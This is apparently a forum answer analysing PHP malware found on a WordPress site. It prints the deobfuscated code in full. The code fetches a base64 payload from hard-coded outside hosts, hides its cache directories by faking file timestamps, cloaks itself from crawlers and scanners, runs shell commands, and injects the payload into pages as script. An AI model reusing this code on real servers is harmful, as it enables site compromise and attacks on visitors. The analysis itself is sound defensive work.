What is this malware code accomplishing? What is this malware code accomplishing? wordpress wordpress

What is this malware code accomplishing?


Okay, at first analysis of all defined functions and at the end analysis of what does script actually do. The script defines following functions:

Load any URL content, it has 2 implementations (one for curl, second for sockets):

function cc($url) {    $user_agent = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)";    if (function_exists('curl_init')) {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_HEADER, 0);        curl_setopt($ch, CURLOPT_TIMEOUT, 30);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);        curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);        if (!(@ini_get("safe_mode") || @ini_get("open_basedir"))) {            @curl_setopt($ch, CURLE_GOT_NOTHING, 1);        }        @curl_setopt($ch, CURLOPT_MAXREDIRS, 2);        $content = curl_exec($ch);        curl_close($ch);        if ($content !== false) {            return $content;        }    } else if (function_exists('fsockopen')) {        // Alternative implementation    } else {        echo "ERROR";        exit;    }}

Some sort of RemoteAddr/User agent validation (when to hide):

function detB($userAgent, $remoteAddr) {    // Those are obviously regexps which will match quite wide range of ip addresses    $ipList = array("66\.249\.[6-9][0-9]\.[0-9]+", "72\.14\.[1-2][0-9][0-9]\.[0-9]+", "74\.125\.[0-9]+\.[0-9]+", "65\.5[2-5]\.[0-9]+\.[0-9]+", "74\.6\.[0-9]+\.[0-9]+", "67\.195\.[0-9]+\.[0-9]+",        "72\.30\.[0-9]+\.[0-9]+", "38\.[0-9]+\.[0-9]+\.[0-9]+", "124\.115\.6\.[0-9]+", "93\.172\.94\.227", "212\.100\.250\.218", "71\.165\.223\.134",        "209\.9\.239\.101", "67\.217\.160\.[0-9]+", "70\.91\.180\.25", "65\.93\.62\.242", "74\.193\.246\.129", "213\.144\.15\.38",        "195\.92\.229\.2", "70\.50\.189\.191", "218\.28\.88\.99", "165\.160\.2\.20", "89\.122\.224\.230", "66\.230\.175\.124",        "218\.18\.174\.27", "65\.33\.87\.94", "67\.210\.111\.241", "81\.135\.175\.70", "64\.69\.34\.134", "89\.149\.253\.169",        "64\.233\.1[6-8][1-9]\.[0-9]+", "64\.233\.19[0-1]\.[0-9]+", "209\.185\.108\.[0-9]+", "209\.185\.253\.[0-9]+", "209\.85\.238\.[0-9]+", "216\.239\.33\.9[6-9]",        "216\.239\.37\.9[8-9]", "216\.239\.39\.9[8-9]", "216\.239\.41\.9[6-9]", "216\.239\.45\.4", "216\.239\.46\.[0-9]+", "216\.239\.51\.9[6-9]", "216\.239\.53\.9[8-9]",        "216\.239\.57\.9[6-9]", "216\.239\.59\.9[8-9]", "216\.33\.229\.163", "64\.233\.173\.[0-9]+", "64\.68\.8[0-9]\.[0-9]+", "64\.68\.9[0-2]\.[0-9]+", "72\.14\.199\.[0-9]+",        "8\.6\.48\.[0-9]+", "207\.211\.40\.82", "67\.162\.158\.146", "66\.255\.53\.123", "24\.200\.208\.112", "129\.187\.148\.240", "129\.187\.148\.244",        "199\.126\.151\.229", "118\.124\.32\.193", "89\.149\.217\.191", "122\.164\.27\.42", "149\.5\.168\.2", "150\.70\.66\.[0-9]+", "194\.250\.116\.39",        "208\.80\.194\.[0-9]+", "62\.190\.39\.205", "67\.198\.80\.236", "85\.85\.187\.243", "95\.134\.141\.250", "97\.107\.135\.[0-9]+", "97\.79\.239\.[0-9]+",        "184\.168\.191\.[0-9]+", "95\.108\.157\.[0-9]+", "209\.235\.253\.17");    // Those are magic words to be matched    $wordsList = array("http", "google", "slurp", "msnbot", "bot", "crawl",        "spider", "robot", "httpclient", "curl", "php", "indy library",        "wordpress", "charlotte", "wwwster", "python", "urllib", "perl",        "libwww", "lynx", "twiceler", "rambler", "yandex", "trend",        "virus", "malware", "wget");    $userAgent = preg_replace("|User\.Agent\:[\s ]?|i", "", $userAgent);    $replacedHeader = true;    foreach ($ipList as $ip)        if (eregi("$ip", $remoteAddr)) {            $replacedHeader = false;            break;        }    if ($replacedHeader)        foreach ($wordsList as $word)            if (eregi($word, $userAgent) !== false) {                $replacedHeader = false;                break;            }    if ($replacedHeader and !eregi("^[a-zA-Z]{5,}", $userAgent)) {        $replacedHeader = false;    }    if ($replacedHeader and strlen($userAgent) <= 11) {        $replacedHeader = false;    }    return $replacedHeader;}

Remove file/directory recursively and replace it with own new file (so mtime will match)

function rm_rf_file($filename) {    $fileMTime = filemtime($filename);    if ($directory = opendir($filename)) {        while (false !== ($directoryItem = readdir($directory))) {            if ($directoryItem != "." && $directoryItem != ".." && is_file($directoryItem)) {                chmod($directoryItem, 438); // 438 = 0666                unlink($directoryItem);            }        }        closedir($directory);    }    touch($filename, $fileMTime, $fileMTime);} 

Get system/php temporary directory (several ways):

function sys_get_temp_dir() {    if ($tmpDir = getenv("TMP"))        return $tmpDir;    if ($tmpDir = getenv("TEMP"))        return $tmpDir;    if ($tmpDir = getenv("TMPDIR"))        return $tmpDir;    // Now it's tmp file, not tmp dir    $tmpDir = tempnam(__FILE__, "");    if (file_exists($tmpDir)) {        unlink($tmpDir);        return dirname($tmpDir);    }    return false;}

Execute shell command (implementation for all possible executions that php supports):

function ex($shellCommand) {    $result = "";    if (!empty($shellCommand)) {        if (function_exists('exec')) {            @exec($shellCommand, $result);            $result = join("\n", $result);        } elseif (function_exists('shell_exec')) {            $result = @shell_exec($shellCommand);        } elseif (function_exists('system')) {            @ob_start();            @system($shellCommand);            $result = @ob_get_contents();            @ob_end_clean();        } elseif (function_exists('passthru')) {            @ob_start();            @passthru($shellCommand);            $result = @ob_get_contents();            @ob_end_clean();        } elseif (@is_resource($processHandler = @popen($shellCommand, "r"))) {            $result = "";            while (!@feof($processHandler)) {                $result .= @fread($processHandler, 1024);            }            @pclose($processHandler);        } elseif (@function_exists('proc_open') && @is_resource($processHandler = @proc_open($shellCommand, array(1 => array("pipe", "w")), $shellOutput))) {            $result = "";            if (@function_exists('fread') && @function_exists('feof')) {                while (!@feof($shellOutput[1])) {                    $result .= @fread($shellOutput[1], 1024);                }            } else if (@function_exists('fgets') && @function_exists('feof')) {                while (!@feof($shellOutput[1])) {                    $result .= @fgets($shellOutput[1], 1024);                }            }            @proc_close($processHandler);        }    }    return htmlspecialchars($result);}

And main payload function:

// This is just initialization for script variables$cookieKey = "lonly";$remoteAddr = $_SERVER["REMOTE_ADDR"];$userAgent = $_SERVER["HTTP_USER_AGENT"];$scriptFileName = $_SERVER["SCRIPT_FILENAME"];$userAgentToLower = strtolower($userAgent);// Requires to have all variables filledif ($remoteAddr == "" || $userAgent == "" || $scriptFileName == "")    return null;// Initialization via cookiesif (!isset($_COOKIE[$cookieKey])) {    $tempDir = @sys_get_temp_dir();    // If there's no tmp dir create directory in current directory    if (!$tempDir) {        $tempDir = dirname($scriptFileName);        $tempDirectory = $tempDir . "/.tmp";    // Create directory in temporary directory and hide directory mtime    } else {        $tempDirectory = $tempDir . "/.tmp";        if (!@file_exists($tempDirectory)) {            $directoryMTime = @filemtime($tempDir);            @mkdir($tempDirectory);            $tempFileFP = @fopen("$tempDirectory/r", "w");            @fwrite($tempFileFP, "");            @fclose($tempFileFP);            @chmod($tempDirectory, 511); // 0777            @touch("$tempDirectory/r", $directoryMTime, $directoryMTime);            @touch($tempDir, $directoryMTime, $directoryMTime);            @touch($tempDirectory, $directoryMTime, $directoryMTime);            if (!@file_exists("$tempDirectory/r")) {                $tempDir = dirname($scriptFileName);                $tempDirectory = $tempDir . "/.cache";            }        }    }    // Make sure that directory exists    if (!@file_exists($tempDirectory)) {        $directoryMTime = @filemtime($tempDir);        @mkdir($tempDirectory);        @chmod($tempDirectory, 511); // 0777        @touch($tempDir, $directoryMTime, $directoryMTime);        @touch($tempDirectory, $directoryMTime, $directoryMTime);    }    // Initializes variables    $time = @date("Hi");    $date = @date("ymd");    $ipStorageFile = "$tempDirectory/$date";    $payloadFile = "$tempDirectory/tmp_$date";    $date2 = $date - 1;    // Remove our own mass if there's file one day old,    // or when we launch script at certain times (0000, 1200 and 1800)    if (@file_exists("$tempDirectory/tmp_$date2") || ($time >= "0000" &&        $time <= "0001") || ($time >= "1200" &&        $time <= "1201") || ($time >= "1800" &&        $time <= "1801")) {        @rm_rf_file($tempDirectory);        @ex("rm -rf $tempDirectory/*");    }    // Create one temporary file    if (!@file_exists($ipStorageFile)) {        $directoryMTime = @filemtime($tempDirectory);        $tempFileFP = @fopen($ipStorageFile, "w");        @fclose($tempFileFP);        @chmod($ipStorageFile, 511); // 0777        @touch($tempDirectory, $directoryMTime, $directoryMTime);    }    // If file2 doesn't exists or is empty try to load content from website    // Websites is one of those:    // ohix.net/f/    // effbot.net/f/    if (@is_writable($tempDirectory) && (!@file_exists($payloadFile) || @filesize($payloadFile) < 5)) {        $urlParts = array("ohix.", "effbot.", "/f/", "net");        $url = $urlParts[rand(0, 1)] . $urlParts[3] . $urlParts[2];        $content = @cc($url);        if ($content != "ERROR" && base64_decode($content) !== false) {            $directoryMTime = @filemtime($tempDirectory);            $tempFileFP = @fopen($payloadFile, "w");            @fwrite($tempFileFP, "$content");            @fclose($tempFileFP);            @chmod($payloadFile, 511);            @touch($tempDirectory, $directoryMTime, $directoryMTime);            @touch($payloadFile, $directoryMTime, $directoryMTime);        }        else            return null;    }    // Load contents    $content = @base64_decode(@file_get_contents($payloadFile));    $ipList = @file($ipStorageFile);    $knowenIp = false;    // Check whether this IP was already used    foreach ($ipList as $ip) {        if (@trim($ip) == $remoteAddr) {            $knowenIp = true;            break;        }    }    $clientValidation = @detB($userAgent, $remoteAddr);    if ($knowenIp == false && $clientValidation == true) {        $tempFileFP = @fopen($ipStorageFile, "a");        @fwrite($tempFileFP, "$remoteAddr\n");        @fclose($tempFileFP);        echo "\n" . str_repeat(" ", mt_rand(300, 1000))        . "<script type='text/javascript'>$content</script>\n";    }}

So if I'm reading all this code correctly the script does following:

  • Try to initialize few functions (each explained separately)
  • Create temporary directory without modifying mtime of parent folder
  • Load "payload" into $payloadFile (probably advertisement content) from one of those sites:
    • ohix.net/f/
    • effbot.net/f/
  • Only display content once a day to each user/ip ($ipStorageFile)
  • Script is smart enough (function detB) not to display it's content to certain IPs (probably some bots, security checks and so on) and some user agents (such as googlebots or clients unable to launch javascript by default).


After some refactoring and reading, I concluded the script will eventually cause the server to browser to one of the following websites:

  • ohic.net/f/
  • effbot.net/f/

As well as downloading and executing files from those websites.

It's either that you have a weak password (or otherwise somehow guessable), or it may be a security hole in wordpress. Make sure you have the most updated version.